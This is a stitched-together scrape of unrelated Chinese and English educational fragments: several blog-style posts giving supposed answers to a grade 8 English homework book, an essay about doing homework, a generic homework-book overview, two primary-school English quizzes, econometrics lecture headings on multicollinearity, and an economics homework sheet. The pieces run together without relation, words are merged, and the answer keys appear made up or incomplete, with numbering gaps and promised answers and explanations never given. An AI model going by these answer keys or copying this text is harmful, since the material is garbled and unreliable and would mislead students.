Write a short paragraph about your favorite book.My favorite book is "Harry Potter and the Sorcerer's Stone". It's a magical story about a young boy who discovers he is a wizard and goes to Hogwarts School of Witchcraft and Wizardry.I love the characters, the adventure, and the friendships in the book. It's a great read for anyone who loves fantasy and magic.That's it for the homework answers, I hope this helps you all with your studies. Remember to always do your best and keep improving! See you next time!篇7Hello everyone, today I'm gonna share with you the answers to the homework book for Grade 8 English. Yeah, I know homework can be boring, but hey, we gotta do it, right? So let's make it fun by checking out the answers together!Unit 1: Computers1. A computer is an electronic device that processes data.2. Computers can be classified into different categories based on their size and functionality.3. The keyboard, mouse, and monitor are basic peripherals of a computer.4. Some common types of software include word processors, spreadsheets, and antivirus programs.Unit 2: Health1. Health is a state of complete physical, mental, and social well-being.2. Eating a balanced diet, exercising regularly, and getting enough sleep are essential for good health.3. Diseases can be caused by bacteria, viruses, or environmental factors.4. It is important to practice good hygiene to prevent the spread of germs.Unit 3: Environment1. The environment includes all living and non-living things in the natural world.2. Pollution is the contamination of the environment by harmful substances.3. Renewable resources can be replenished naturally over time, while non-renewable resources are limited in supply.4. Recycling and using alternative energy sources are ways to protect the environment.Unit 4: Travel1. Traveling allows us to explore new places, learn about different cultures, and create lasting memories.2. Modes of transportation include cars, trains, planes, and boats.3. Planning ahead, packing essentials, and staying safe are important when traveling.4. Traveling responsibly helps to minimize our impact on the environment.So that's it for the Grade 8 English homework answers. I hope this helps you out, and remember to always do your best in your studies! Bye-bye!篇8Hey guys! Today I want to share with you the answers to the homework book for the eighth grade English class. It's super important to do your homework and review what you've learned in class, so let's dive right in!Unit 1 - A healthy lifestyle 1. Matching:1 - e2 - a3 - d4 - c5 - b2. Multiple choice:1 - a2 - c3 - b4 - a5 - d3. Fill in the blanks:1. healthy2. exercise3. balanced4. junk5. fruit6. sleep7. vegetables8. waterUnit 2 - Travel and adventure 1. Matching:1 - c2 - a3 - b2. Multiple choice:1 - b2 - c3 - a3. Fill in the blanks:1. scuba diving2. adventure4. culture5. exploreUnit 3 - Life in the future 1. Matching:1 - b2 - c3 - a2. Multiple choice:1 - c2 - b3 - a3. Fill in the blanks:1. robots2. virtual3. space4. environmentI hope these answers help you with your homework! Remember, it's always good to practice and review your lessons. Keep up the good work, everyone!篇9Title: My Homework Answers for the Eighth Grade English WorkbookHey guys! Today I’m gonna sha re with you all the answers to the homework questions in our English workbook for the eighth grade. I know sometimes English can be a little tricky, but don’t worry, I’ve got your back with all the answers!Unit 1: Journey to the West1. Matching:a) bb) dc) ad) c2. Fill in the blanks:a) adventureb) journeyc) destinationd) discover3. True or False:a) Trueb) Falsec) Falsed) TrueUnit 2: Environmental Protection1. Multiple choice:a) Bb) Ac) Cd) B2. Fill in the blanks:a) pollutionc) environmentd) global warming3. Answer the questions:a) We can reduce pollution by using public transportation.b) Yes, we should recycle paper, glass, and plastic to protect our environment.Unit 3: The Magic of Science1. Vocabulary:a) experimentb) inventionc) technologyd) hypothesis2. True or False:a) Falseb) Truec) True3. Short answer:a) An invention is a new product or process that has never been created before.Unit 4: My Future Career1. Matching:a) cb) dc) bd) a2. Fill in the blanks:a) veterinarianb) engineerc) teacherd) chef3. Writing task:Write a paragraph about your dream job and why you want to pursue it.I hope these answers help you guys with your homework! Keep practicing and you’ll ace your English class for sure! Go team!篇10Hello everyone! Today I'm going to share with you the answers to the exercises in the Workbook for the 8th grade English class. It's the Lesson Enhancement Plan Homework Book English Grade 8.Exercise 1:1. It is important to eat a balanced diet.2. The children were playing in the park.3. The teacher asked us to finish the project by tomorrow.4. She is going to visit her grandparents next weekend.5. I have already finished my homework.Exercise 2:1. What are you going to do this weekend?2. Can you help me with my math homework?3. How often do you exercise?4. Where did you go on vacation last year?5. Have you ever been to Japan?Exercise 3:1. She has been studying English for five years.2. They have already seen that movie.3. We have never been to Paris.4. He has just finished his dinner.5. I have always wanted to travel to Italy.I hope these answers help you with your homework. Remember to study hard and always do your best in class. Good luck!。
我从八点开始写作业英语
I started my homework at eight oclock.It was a typical evening for me,filled with various assignments from different subjects.Heres a detailed account of how I spent my time:1.Planning My Evening:Before I started,I took a few minutes to plan out what I needed to accomplish.I listed down all the subjects and the tasks assigned for each,prioritizing them based on their deadlines and the time I thought each would take.2.English Homework:Since English was the subject I started with,I made sure I had all the necessary materials at hand.This included textbooks,notebooks,and any online resources our teacher had recommended.3.Reading Assignment:The first task was to read a chapter from our literature textbook.I took notes on the main themes,characters,and plot points to help with a later essay question.4.Vocabulary:Next,I worked on learning new vocabulary words.I wrote each word down,looked up their meanings,and created flashcards to help me memorize them.5.Grammar Practice:After vocabulary,I moved on to grammar exercises.I completed a set of sentences that required me to correctly use the new grammar rules we had learned in class.6.Essay Writing:The most timeconsuming task was an essay on a topic related to the literature chapter I had read.I spent time brainstorming ideas,creating an outline,and then writing the first draft.7.Proofreading:Once the essay was written,I took a short break and then returned to proofread and edit my work.This step is crucial to ensure the essay is free from grammatical errors and clearly conveys my thoughts.8.Online Research:For additional points,our teacher allowed us to include research in our essay.I spent some time searching for credible sources online to support my arguments.9.Revision:After incorporating the research,I revised my essay one last time to ensure everything flowed well and that my arguments were solid.10.Submission:Once I was satisfied with my work,I saved the document and emailed it to my teacher before the deadline.11.Reflection:After completing my English homework,I reflected on what I had learned and identified areas where I could improve for next time.12.Transition to Other Subjects:With English out of the way,I moved on to the next subject on my list,following a similar process of planning,executing,and reviewing. Throughout the evening,I made sure to take short breaks to rest my eyes and stretch my body to maintain focus and productivity.This structured approach to homework helps me manage my time effectively and ensures that I complete all tasks to the best of my ability.。
初二英语课时提优计划作业本答案上册
初二英语课时提优计划作业本答案上册Title: A Comprehensive Guide to the Top-quality Improvement Plan Homework Book for Grade 8 English (Volume 1)IntroductionThe Grade 8 English course is a crucial stage in a student's language learning journey. To support students in improving their English language skills, a comprehensive homework book has been designed as part of the Top-quality Improvement Plan. This homework book aims to reinforce the concepts taught in class and provide students with additional practice opportunities to enhance their English proficiency.Chapter 1: Grammar ExercisesThe first chapter of the homework book focuses on grammar exercises that cover a wide range of topics, such as parts of speech, tenses, and sentence structure. Students are required to complete fill-in-the-blank exercises, matching exercises, and sentence transformation exercises to strengthen their understanding of key grammar rules. This chapter also includes challenging exercises to test students' knowledge of more advanced grammar concepts.Chapter 2: Vocabulary BuildingThe second chapter of the homework book is dedicated to vocabulary building exercises. Students are introduced to new words and phrases related to different topics, such as everyday activities, travel, and technology. They are required to complete exercises such as word searches, crossword puzzles, and sentence completion tasks to broaden their vocabulary and improve their ability to use new words in context.Chapter 3: Reading ComprehensionThe third chapter of the homework book focuses on reading comprehension exercises. Students are presented with a variety of reading passages, including fictional stories, informational texts, and opinion pieces. After reading each passage, students are required to answer questions that test their understanding of the main ideas, supporting details, and vocabulary used in the text. This chapter also includes critical thinking questions to encourage students to analyze and evaluate the information presented in the reading passages.Chapter 4: Writing TasksThe fourth chapter of the homework book includes writing tasks that require students to apply their knowledge of grammar,vocabulary, and reading comprehension skills. Students are asked to write short essays, letters, and descriptive paragraphs on various topics, such as their favorite holiday, a memorable experience, or their future career goals. This chapter also includes editing exercises to help students improve their writing by identifying and correcting errors in grammar, punctuation, and spelling.ConclusionThe Top-quality Improvement Plan Homework Book for Grade 8 English (Volume 1) is a valuable resource for students seeking to enhance their English language skills. By completing the exercises in this homework book, students can strengthen their grammar knowledge, expand their vocabulary, improve their reading comprehension, and enhance their writing abilities. This comprehensive guide provides students with the necessary tools to succeed in their English studies and achieve academic excellence.。
小学六年级上册英语刷题卷(答案和题解)542
小学六年级上册英语刷题卷(答案和题解)(共50道题)下面有答案和解题分析一、综合题1.She is wearing a ______.A. HatB. HairC. HandD. Foot2.Which one is an animal?A. TreeB. CatC. BookD. Chair3.I like playing sports with my friends. We often play __ in the park after school. I like running and kicking the ball to score goals. Sometimes, we also play tag or __. My friend Lily is very good at skipping rope, and she teaches me how to do it faster. Playing sports is fun because it keeps us healthy and helps us make new friends.4.I _______ (watch) TV when you called me.5.Which one is a wild animal?A. CowB. DogC. TigerD. Elephant6.Today, my mom and I ______ (go) to the supermarket to buy some groceries. We______ (buy) vegetables, fruits, and snacks. I ______ (choose) some cookies because I ______ (want) to share them with my friends. After we ______ (finish) shopping, we______ (drive) home, and I ______ (help) my mom carry the bags.st holiday, my family and I __________ (1) to a new restaurant. The food__________ (2) very delicious. I __________ (3) some pasta and my sister __________ (4) a pizza. After we __________ (5) our meal, we __________ (6) some ice cream for dessert.8.Which sentence uses an adverb correctly?A. She sings beautifully.B. She beautifully sings.C. She sing beautifully.D. Beautifully she sings.9.Which one is used for cutting?A. KnifeB. SpoonC. PlateD. Chair10.Which of these is used to eat spaghetti?A. ForkB. KnifeC. SpoonD. Plate11.My friends and I _______ (play) soccer every afternoon. We _______ (meet) at the park at 4:00 PM. Last week, we _______ (have) a match against another team, and we_______ (win) 32. It _______ (be) a very exciting game.12.Which of these is an animal that lives in the water?A. WhaleB. DogC. CatD. Lion13.What do you call the place where you buy books?A. SchoolB. LibraryC. BookstoreD. Hospital14.Today is my friend’s birthday. She is having a party at her house. There will be a lot of __, and we will play some fun games. I bought her a __ for her birthday. After the games, we will sing the birthday __ and eat cake.15.They _______ a great time at the concert.16.Sally and her classmates are going on a school field trip. They are visiting a__________. Sally is excited because she loves learning about __________. She takes her __________ to write down important facts and uses her __________ to take pictures. After the trip, they will talk about what they saw at the __________.17.I __________ (1) a new pet dog last week. Its name __________ (2) Max. Max__________ (3) to play with his ball and __________ (4) very friendly. I __________ (5) to train him to do tricks.18.They _______ (play) with their toys in the garden.19.Jack and his sister are in the kitchen. They are preparing a __________ for their mom’s birthday. Jack is mixing the __________ and adding some sugar to make it sweet. His sister decorates the cake with colorful __________. After the cake is ready, they sing happy birthday to their mom and feel very __________.20.Which one is a tool?A. HammerB. PlateC. SpoonD. Chair21.My mother __________ (cook) dinner when I __________ (get) home yesterday. She __________ (make) spaghetti, and the smell __________ (be) delicious. I__________ (help) her set the table, and we __________ (eat) together. After dinner, we __________ (watch) a movie.22.Which of these is a weather condition?A. RainyB. BookC. ChairD. Table23.Mark and his friends are playing a game of soccer. Mark passes the __________ to his teammate, who tries to __________ it into the goal. The goalkeeper tries to stop it, but the ball goes in, and they score a __________. After the game, they all drink some__________ and rest.24.In English, we use modal verbs like "can," "should," "must," and "may" to express ability, permission, necessity, and advice. These modal verbs help to modify the meaning of the main verb. Choose the sentence that uses "can" correctly.A. I can to swim.B. I can swim.C. I can swimming.D. I can swims.25.What do you use to clean your teeth?A. ToothbrushB. SpoonC. PlateD. Knife26.How many _______ are there in the classroom?A. studentB. studentsC. student’sD. students’27.What do you wear on your head?A. HatB. ShoesC. GlovesD. Shirt28.Every day, I ______ (walk) to school, but today I ______ (take) the bus because it ______ (rain). I ______ (arrive) at school just in time. Yesterday, I ______ (be) late because I ______ (miss) the bus.29.Which of these is a musical instrument?A. GuitarB. ChairC. BedD. Plate30.We _______ (take) a bus to school.31.Which of these is used to erase pencil marks?A. KnifeB. EraserC. PlateD. Spoon32.He _______ (buy) a new phone yesterday.33.I _______ (write) a letter to my friend yesterday.34.Which of these is used to eat soup?A. KnifeB. ForkC. SpoonD. Plate35.Which one is the correct plural form of "cat"?A. catsB. catC. catsD. catties36.Lucy is going to a friend’s birthday party. She buys a __________ (1) as a gift and wraps it in colorful __________ (2). At the party, they play games like __________ (3) and enjoy some __________ (4) while watching a magic show. Lucy feels happy because it’s a fun day.37.Which of these animals lives in the water?A. DogB. BirdC. FishD. Elephant38.They _______ (go) to the zoo on weekends.39.What do we use to drink water?A. KnifeB. SpoonC. PlateD. Glass40.She _______ (take) the bus to school.41.I _______ (eat / eats / eating) breakfast at 7:00 every day.42.David and his classmates are going to the museum tomorrow. They are going to see an exhibition about __________. David is especially excited to learn about the__________ and the different types of __________. After the exhibition, they will have a __________ at the museum café.43.I ________ (be) at the library yesterday afternoon. I ________ (borrow) a book about animals. I ________ (read) the first chapter when my friend ________ (call) me. We ________ (go) to the park after that.44.I _______ (have) two friends.45.Which of these is an animal?A. TableB. DogC. ChairD. Pen46.I _______ (study) at the moment.47.I _______ (want) to drink some juice.48.Which of these is used for writing on paper?A. PencilB. ScissorsC. PlateD. Fork49.She _______ (help) me with my homework.50.What do we use to drink?A. PlateB. SpoonC. CupD. Fork(答案及解释)。
Chap8多重共线性
1. 何谓 Multicollinearity
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5. A case study and adjustment for multicollinearity
6. 多重共线性必定不好吗?
中国电信业务总量的计量模型
经初步分析，认为影响中国电信业务总量变化的主要因素是邮政业务总量 （x1）、中国人口数（x2）、市镇人口占总人口的比重（x3）、人均GDP（x4）、 全国居民人均消费水平（x5）
2. Causes for multicollinearity 有关经济变量（因素）是线性或近似线性相关的. 样本原因（碰巧是线性或近似线性相关的） 模型误设
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人教版小学5年级下册英语试题【答案和题解】
人教版小学5年级下册英语试题【答案和题解】(共50道题)下面有答案和解题分析一、综合题1.She _______ (like/likes) ice cream.2.What do we use to brush our teeth?A. ToothbrushB. SpoonC. PlateD. Knife3.David is visiting his grandmother. She lives in a __________. David helps her water the __________ and pick some __________. After that, they go inside to have__________ and talk about old times.4.My mother __________ (be) a teacher. She __________ (teach) English at a school. She __________ (like) her job because it __________ (be) very interesting. Every day, she __________ (help) students with their lessons. Last week, she __________ (give) a big exam to her class.5.Which of these is a number?A. DogB. FiveC. AppleD. Car6.I _______ (like) going to the zoo on weekends. Last Saturday, my family _______ (go) there. We _______ (see) many animals, such as lions, tigers, and elephants. My little sister _______ (love) the monkeys because they _______ (be) so funny. We _______ (take) a lot of pictures, and after that, we _______ (have) ice cream at the zoo cafe.7.I _______ a letter to my friend last week.8.We _______ (not) drink milk every morning.9.She _______ (not/eat) vegetables.10.They _______ (study) for the exam next week.11.I _______ (be) hungry.12.Sophie loves animals. She has a __________ (1) at home, and every day she takes it for a __________ (2) in the park. The dog likes to run and __________ (3) in the grass. After their walk, Sophie gives it some __________ (4) and fresh water.13.They _______ (be) at home last weekend.14.My mother __________ (1) a very good cook. Every day, she __________ (2) delicious meals for our family. In the morning, she __________ (3) breakfast, and in the evening, she __________ (4) dinner. I __________ (5) to help her sometimes, but most of the time, I __________ (6) my homework.15.I _______ (be) a student.16.Which one is a musical instrument?A. PianoB. CupC. ChairD. Table17.They _______ (not, eat) fast food.18.What is the plural form of the word "man"?A. MansB. MenC. ManD. Menses19.We _______ (study/studies) English every day.20.Which of these is a shape?A. CircleB. DogC. TableD. Shoe21.Which of these is a fruit?A. PotatoB. TomatoC. CarrotD. Lettuce22.What time is it?A. I am fine.B. It is 5 oclock.C. I am 12 years olD. D. It is sunny.23.She ________ (wear/wears) a blue dress.24.I _______ (was / were / is) very tired last night.25.Which of the following is an animal?A. CarB. AirplaneC. DogD. Table26.They _______ (run) very fast.27.Which one is the opposite of "light"?A. HeavyB. TallC. SmallD. Fast28.We _______ (have) a picnic this Saturday.29.She _______ (not/like) her new school.30.We ______ (go) to a concert last Saturday. We ______ (enjoy) the music very much. My sister ______ (dance) during the performance, and I ______ (clap) my hands to the beat. It ______ (be) an amazing experience.31.I like ______ ice cream.A. EatB. EatsC. EatingD. To eat32.Which of these is used to drink water?A. PlateB. CupC. ForkD. Spoon33.He _______ (not/like) to wake up early.34.How many fingers do we have on one hand?A. ThreeB. FiveC. TenD. Eight35.Lucy loves to read books about __________ (1) and magic. Her favorite character is a __________ (2) who can fly. She has a collection of __________ (3) about wizards and fairies. Every night before bed, Lucy reads a chapter from her __________ (4) to help her fall asleep.36.What do we use to clean the floor?A. BrushB. MopC. PlateD. Spoon37.We _______ (eat) dinner at 6:00 PM.38.They _______ (like/likes) playing basketball.39.She _______ (watch/watches) movies on weekends.40.I _______ (want) to play basketball.41.What do we use to eat salad?A. KnifeB. SpoonC. ForkD. Plate42.We _______ (play) table tennis after school.43.This Saturday, Sarah is going to the zoo with her family. She is most excited to see the __________, because they are so big and have long necks. Sarah’s brother, Mark,loves __________ because they are fast and can jump really high. They are also going to watch the __________ show, where trainers teach the animals to do tricks. After the show, they will have lunch at the zoo’s __________.44.We _______ (take) the bus to school every day.45.Which of these do we use to brush our teeth?A. CombB. ToothbrushC. ForkD. Spoon46.I _______ (play/plays) basketball with my friends.47.He _______ (take/takes) the dog to the park every afternoon.48.What do we use to cut things?A. HammerB. ScissorsC. BrushD. Spoon49.She _______ (sing) in the choir now.50.Which of these is a fruit?A. CarrotB. CucumberC. BananaD. Potato(答案及解释)。
作业3_203906719
Principles of Economics I (Fall 2010)Homework #3(Lecture 7-8, Due on Nov. 24, 2010, submitted in class)Section 1: Textbook Exercises(All numbers refer to “Problems and Application” part in each chapter, the 5th international student edition of the textbook)Ch7: 2, 7, 5, 1, 6, 9, 10(Erratum: In problem 5, “Bert from problem 4” and “Ernie from problem 5” should be “Bert from problem 2” and “Ernie from problem 7”.)Ch8: 1, 2, 5, 6, 9, 10, 11Ch9: 1, 2, 5, 7, 9, 10, 12, 13Section 2: Supplemental Questions(Multiple choice question if marked with a-d, otherwise True/False questions.)(For Chapter 7)1. Economists tend to see ticket scalping asa. a way for a few to profit without producing anything of value.b. an inequitable interference in the orderly process of ticket distribution.c. a way of increasing the efficiency of ticket distribution.d. an unproductive activity which should be made illegal everywhere.(For Chapter 8)2. The deadweight loss of a tax rises even more rapidly than the size of the tax.(For Chapter 9)3. If Canada were to subsidize the production of wool blankets, and sell them in the U.S. at artificially low prices, the U.S. economy would be worse off.Section 3: Extra Supplements第三部分：其他补充题目排队、价格与效率（2006年春季双学位班期中测验题，对应教材第7章）小镇上生活着1万名居民，每个周末都会到镇里唯一的公园去休息娱乐。